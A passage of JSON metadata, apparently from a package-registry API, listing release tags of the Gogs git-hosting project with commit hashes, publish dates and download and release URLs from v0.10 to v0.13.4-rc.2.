url":"https://github.com/gogs/gogs/releases/tag/v0.13.4-rc.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.13.4-rc.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.4-rc.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.4-rc.2/manifests"},{"name":"v0.13.4-rc.1","sha":"89ad16f9b390f8bbb03b3a3627cc0ccb7df8c648","kind":"commit","published_at":"2026-01-23T17:28:00.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.13.4-rc.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.13.4-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.13.4-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.4-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.4-rc.1/manifests"},{"name":"v0.13.3","sha":"5084b4a9b77a506f5e287e82e945e1c6882b827a","kind":"commit","published_at":"2025-06-08T22:55:56.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.13.3","html_url":"https://github.com/gogs/gogs/releases/tag/v0.13.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.13.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.3/manifests"},{"name":"v0.13.3-rc.1","sha":"5084b4a9b77a506f5e287e82e945e1c6882b827a","kind":"commit","published_at":"2025-06-08T22:55:56.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.13.3-rc.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.13.3-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.13.3-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.3-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.3-rc.1/manifests"},{"name":"v0.13.2","sha":"593c7b6db601c68d16b2fb9a7e1194cb816f5efb","kind":"commit","published_at":"2024-12-23T15:57:35.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.13.2","html_url":"https://github.com/gogs/gogs/releases/tag/v0.13.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.13.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.2/manifests"},{"name":"v0.13.2-rc.1","sha":"593c7b6db601c68d16b2fb9a7e1194cb816f5efb","kind":"commit","published_at":"2024-12-23T15:57:35.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.13.2-rc.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.13.2-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.13.2-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.2-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.2-rc.1/manifests"},{"name":"v0.13.1","sha":"0c40e600a275d490481cfeea53705810fbe94d9b","kind":"commit","published_at":"2024-12-22T22:54:57.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.13.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.13.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.13.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.1/manifests"},{"name":"v0.13.1-rc.1","sha":"0c40e600a275d490481cfeea53705810fbe94d9b","kind":"commit","published_at":"2024-12-22T22:54:57.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.13.1-rc.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.13.1-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.13.1-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.1-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.1-rc.1/manifests"},{"name":"v0.13.0-rc.1","sha":"8c21874c00b6100d46b662f65baeb40647442f42","kind":"commit","published_at":"2023-02-25T12:33:19.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.13.0-rc.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.13.0-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.13.0-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.0-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.0-rc.1/manifests"},{"name":"v0.13.0","sha":"8c21874c00b6100d46b662f65baeb40647442f42","kind":"commit","published_at":"2023-02-25T12:33:19.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.13.0","html_url":"https://github.com/gogs/gogs/releases/tag/v0.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.0/manifests"},{"name":"v0.12.11-rc.1","sha":"c9fba3cb30af0789fcf89098dfcb8f2286ee7d3b","kind":"commit","published_at":"2023-02-25T05:39:54.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.12.11-rc.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.12.11-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.12.11-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.11-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.11-rc.1/manifests"},{"name":"v0.12.11","sha":"73ae88badfff8a6662c1ac18ac48bb83c37305c2","kind":"commit","published_at":"2023-02-25T05:39:06.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.12.11","html_url":"https://github.com/gogs/gogs/releases/tag/v0.12.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.12.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.11/manifests"},{"name":"v0.12.10","sha":"1ce5171ae170750298c150874e718740dd7ef69f","kind":"commit","published_at":"2022-08-02T03:01:04.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.12.10","html_url":"https://github.com/gogs/gogs/releases/tag/v0.12.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.12.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.10/manifests"},{"name":"v0.12.10-rc.1","sha":"1ce5171ae170750298c150874e718740dd7ef69f","kind":"commit","published_at":"2022-08-02T03:01:04.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.12.10-rc.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.12.10-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.12.10-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.10-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.10-rc.1/manifests"},{"name":"v0.12.9","sha":"012a1ba19ed2f8f5185be4254f655ba6c4b34db2","kind":"commit","published_at":"2022-06-07T13:29:32.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.12.9","html_url":"https://github.com/gogs/gogs/releases/tag/v0.12.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.12.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.9/manifests"},{"name":"v0.12.9-rc.1","sha":"012a1ba19ed2f8f5185be4254f655ba6c4b34db2","kind":"commit","published_at":"2022-06-07T13:29:32.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.12.9-rc.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.12.9-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.12.9-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.9-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.9-rc.1/manifests"},{"name":"v0.12.8","sha":"7f8799c01f264eb7770766621fb68debee414b68","kind":"commit","published_at":"2022-05-31T08:47:45.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.12.8","html_url":"https://github.com/gogs/gogs/releases/tag/v0.12.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.12.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.8/manifests"},{"name":"v0.12.8-rc.1","sha":"7f8799c01f264eb7770766621fb68debee414b68","kind":"commit","published_at":"2022-05-31T08:47:45.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.12.8-rc.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.12.8-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.12.8-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.8-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.8-rc.1/manifests"},{"name":"v0.12.7","sha":"d06ba7e527fcc462aecdb660ce001e87d94f024c","kind":"commit","published_at":"2022-05-05T08:18:01.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.12.7","html_url":"https://github.com/gogs/gogs/releases/tag/v0.12.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.12.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.7/manifests"},{"name":"v0.12.7-rc.1","sha":"d06ba7e527fcc462aecdb660ce001e87d94f024c","kind":"commit","published_at":"2022-05-05T08:18:01.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.12.7-rc.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.12.7-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.12.7-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.7-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.7-rc.1/manifests"},{"name":"v0.12.6","sha":"26395294bdef382b577fd60234e5bb14f4090cc8","kind":"commit","published_at":"2022-03-19T06:39:55.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.12.6","html_url":"https://github.com/gogs/gogs/releases/tag/v0.12.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.12.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.6/manifests"},{"name":"v0.12.6-rc.1","sha":"26395294bdef382b577fd60234e5bb14f4090cc8","kind":"commit","published_at":"2022-03-19T06:39:55.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.12.6-rc.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.12.6-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.12.6-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.6-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.6-rc.1/manifests"},{"name":"v0.12.5","sha":"e309bc8324ca0799a320169747c2f11d56968631","kind":"commit","published_at":"2022-03-11T06:58:57.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.12.5","html_url":"https://github.com/gogs/gogs/releases/tag/v0.12.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.12.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.5/manifests"},{"name":"v0.12.5-rc.1","sha":"e309bc8324ca0799a320169747c2f11d56968631","kind":"commit","published_at":"2022-03-11T06:58:57.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.12.5-rc.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.12.5-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.12.5-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.5-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.5-rc.1/manifests"},{"name":"v0.12.4","sha":"d4ae178b72d78abcb82494f3e43d7767c07ab679","kind":"commit","published_at":"2022-01-17T02:19:45.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.12.4","html_url":"https://github.com/gogs/gogs/releases/tag/v0.12.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.12.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.4/manifests"},{"name":"v0.12.4-rc.1","sha":"d4ae178b72d78abcb82494f3e43d7767c07ab679","kind":"commit","published_at":"2022-01-17T02:19:45.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.12.4-rc.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.12.4-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.12.4-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.4-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.4-rc.1/manifests"},{"name":"v0.12.3","sha":"f0e3cd90f8d7695960eeef2e4e54b2e717302f6c","kind":"commit","published_at":"2020-10-07T14:39:36.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.12.3","html_url":"https://github.com/gogs/gogs/releases/tag/v0.12.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.12.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.3/manifests"},{"name":"v0.12.2","sha":"253b2bef4c26925d2fd0555aa8911cd21fb68b8c","kind":"commit","published_at":"2020-09-26T08:53:26.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.12.2","html_url":"https://github.com/gogs/gogs/releases/tag/v0.12.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.12.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.2/manifests"},{"name":"v0.12.1","sha":"43fc8260850090b55d4ee2586a819b3b6c016279","kind":"commit","published_at":"2020-08-27T06:47:41.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.12.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.1/manifests"},{"name":"v0.12.0","sha":"f17e7d5a2c36c52a1121d2315f3d75dcd8053b89","kind":"commit","published_at":"2020-08-22T09:55:16.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.12.0","html_url":"https://github.com/gogs/gogs/releases/tag/v0.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.0/manifests"},{"name":"v0.11.91","sha":"c154721f4a8f3e24d2f6fb61e74b4b64529255c2","kind":"commit","published_at":"2019-08-12T01:59:46.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.11.91","html_url":"https://github.com/gogs/gogs/releases/tag/v0.11.91","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.11.91","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.91","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.91/manifests"},{"name":"v0.11.86","sha":"06b6eaba060f8b874a4c2a8c84515b2ea45321d6","kind":"commit","published_at":"2019-01-31T02:59:10.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.11.86","html_url":"https://github.com/gogs/gogs/releases/tag/v0.11.86","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.11.86","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.86","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.86/manifests"},{"name":"v0.11.79","sha":"f43d21d0aff791780aaca5770e0bc92c39c803d3","kind":"commit","published_at":"2018-12-12T03:17:09.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.11.79","html_url":"https://github.com/gogs/gogs/releases/tag/v0.11.79","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.11.79","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.79","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.79/manifests"},{"name":"v0.11.66","sha":"3a4c981e3167875a3b60d0cee00ee85272608439","kind":"commit","published_at":"2018-09-16T15:53:32.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.11.66","html_url":"https://github.com/gogs/gogs/releases/tag/v0.11.66","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.11.66","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.66","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.66/manifests"},{"name":"v0.11.53","sha":"91441c3fb29d8ead645d8fffa4658d749d5b3fc3","kind":"commit","published_at":"2018-06-04T23:31:34.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.11.53","html_url":"https://github.com/gogs/gogs/releases/tag/v0.11.53","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.11.53","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.53","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.53/manifests"},{"name":"v0.11.43","sha":"2978bb1773a6511bf07678e2f1371dc413057bec","kind":"commit","published_at":"2018-03-31T03:26:48.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.11.43","html_url":"https://github.com/gogs/gogs/releases/tag/v0.11.43","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.11.43","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.43","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.43/manifests"},{"name":"v0.11.34","sha":"6f2347fc71f17b5703a9b1f383a2d3451f88b741","kind":"commit","published_at":"2017-11-22T19:46:14.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.11.34","html_url":"https://github.com/gogs/gogs/releases/tag/v0.11.34","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.11.34","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.34","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.34/manifests"},{"name":"v0.11.33","sha":"b752fe680811119954ccef051e6f3b3e2a04c2e8","kind":"commit","published_at":"2017-11-19T18:29:06.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.11.33","html_url":"https://github.com/gogs/gogs/releases/tag/v0.11.33","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.11.33","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.33","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.33/manifests"},{"name":"v0.11.29","sha":"b1100b5e345a8a6f5e3f3dfd19e18c9cc8b499e8","kind":"commit","published_at":"2017-08-15T22:20:28.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.11.29","html_url":"https://github.com/gogs/gogs/releases/tag/v0.11.29","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.11.29","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.29","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.29/manifests"},{"name":"v0.11.19","sha":"6197a7639a88f7fb0fee8927e1d501504ae770ff","kind":"commit","published_at":"2017-06-10T05:43:18.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.11.19","html_url":"https://github.com/gogs/gogs/releases/tag/v0.11.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.11.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.19/manifests"},{"name":"v0.11.4","sha":"e0a787b5ee077498abf0f8ea78395aec16b90c71","kind":"commit","published_at":"2017-04-05T17:26:53.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.11.4","html_url":"https://github.com/gogs/gogs/releases/tag/v0.11.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.11.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.4/manifests"},{"name":"v0.11","sha":"348c75c91b95ce7fb0f6dac263aa7290f2319e1b","kind":"commit","published_at":"2017-04-04T00:06:15.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.11","html_url":"https://github.com/gogs/gogs/releases/tag/v0.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11/manifests"},{"name":"v0.11rc","sha":"375f1b1fdea51e55bb0c381c791c5757e1517042","kind":"commit","published_at":"2017-03-27T18:56:56.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.11rc","html_url":"https://github.com/gogs/gogs/releases/tag/v0.11rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.11rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11rc/manifests"},{"name":"v0.10.18","sha":"f54bcba3394bf856b77b674203ea0c80b926cd61","kind":"commit","published_at":"2017-03-14T03:41:22.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.10.18","html_url":"https://github.com/gogs/gogs/releases/tag/v0.10.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.10.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.10.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.10.18/manifests"},{"name":"v0.10.8","sha":"bb005f3f9a606a5e94da4fc274d3c21234d98090","kind":"commit","published_at":"2017-03-07T19:12:19.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.10.8","html_url":"https://github.com/gogs/gogs/releases/tag/v0.10.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.10.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.10.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.10.8/manifests"},{"name":"v0.10.1","sha":"9d40b8a83cc3a13ec0859ad253de02c514e4403d","kind":"commit","published_at":"2017-02-28T10:45:50.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.10.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.10.1/manifests"},{"name":"v0.10","sha":"b3757e424ffc47f7ae07d8fecd9f2ecf98f20679","kind":"commit","published_at":"2017-02-27T23:38:16.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.10","html_url":"https://github.com/gogs/gogs/releases/tag/v0.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts